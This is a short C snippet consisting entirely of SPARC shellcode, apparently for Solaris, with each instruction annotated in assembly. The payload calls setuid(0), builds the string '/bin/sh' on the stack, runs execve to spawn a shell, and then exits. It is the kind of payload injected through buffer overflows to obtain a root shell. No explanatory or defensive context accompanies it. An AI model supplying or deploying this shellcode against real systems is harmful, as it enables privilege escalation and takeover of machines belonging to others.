char shellcode[] =
  "\x90\x1b\x80\x0e"	/* xor    	%sp, %sp, %o0 */
  "\x82\x10\x20\x17"	/* mov    	23, %g1 */
  "\x91\xd0\x20\x08"	/* ta     	0x8 */
  "\x21\x0b\xd8\x9a"	/* sethi  	%hi(0x2f626800), %l0 */
  "\xa0\x14\x21\x6e"	/* or     	%l0, 0x16e, %l0	! 0x2f62696e */
  "\x23\x0b\xdc\xda"	/* sethi  	%hi(0x2f736800), %l1 */
  "\x90\x23\xa0\x10"	/* sub    	%sp, 16, %o0 */
  "\x92\x23\xa0\x08"	/* sub    	%sp, 8, %o1 */
  "\x94\x1b\x80\x0e"	/* xor    	%sp, %sp, %o2 */
  "\xe0\x3b\xbf\xf0"	/* std    	%l0, [%sp - 16] */
  "\xd0\x23\xbf\xf8"	/* st     	%o0, [%sp - 8] */
  "\xc0\x23\xbf\xfc"	/* st     	%g0, [%sp - 4] */
  "\x82\x10\x20\x3b"	/* mov    	59, %g1 */
  "\x91\xd0\x20\x08"	/* ta     	0x8 */
  "\x90\x1b\x80\x0e"	/* xor    	%sp, %sp, %o0 */
  "\x82\x10\x20\x01"	/* mov    	1, %g1 */
  "\x91\xd0\x20\x08"	/* ta     	0x8 */
;